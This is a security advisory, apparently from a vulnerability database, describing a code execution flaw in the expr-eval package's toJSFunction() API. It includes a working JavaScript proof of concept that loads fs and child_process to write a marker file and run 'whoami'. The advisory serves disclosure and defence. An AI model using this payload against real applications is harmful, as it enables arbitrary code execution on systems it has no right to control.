The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for expr-eval.
expr-eval is a Mathematical expression evaluator
Affected versions of this package are vulnerable to Code Execution via the toJSFunction() API. An attacker can execute arbitrary JavaScript by supplying crafted expressions that are compiled into native code using new Function(). Because user-controlled expressions are transformed directly into executable JavaScript, attackers can escape the intended expression sandbox and run arbitrary code within the application's context.
js
const { Parser } = require('expr-eval');const parser = new Parser(); const expr = parser.parse('[cmd]');
const payload = { toString: () =>
(function(){ const fs = process.mainModule.require('fs'); const cp = process.mainModule.require('child_process'); fs.writeFileSync('expr-eval-poc.txt', 'PWNED'); return cp.execSync('whoami').toString().trim(); })()};
const fn = expr.toJSFunction('', { cmd: payload }); console.log(fn());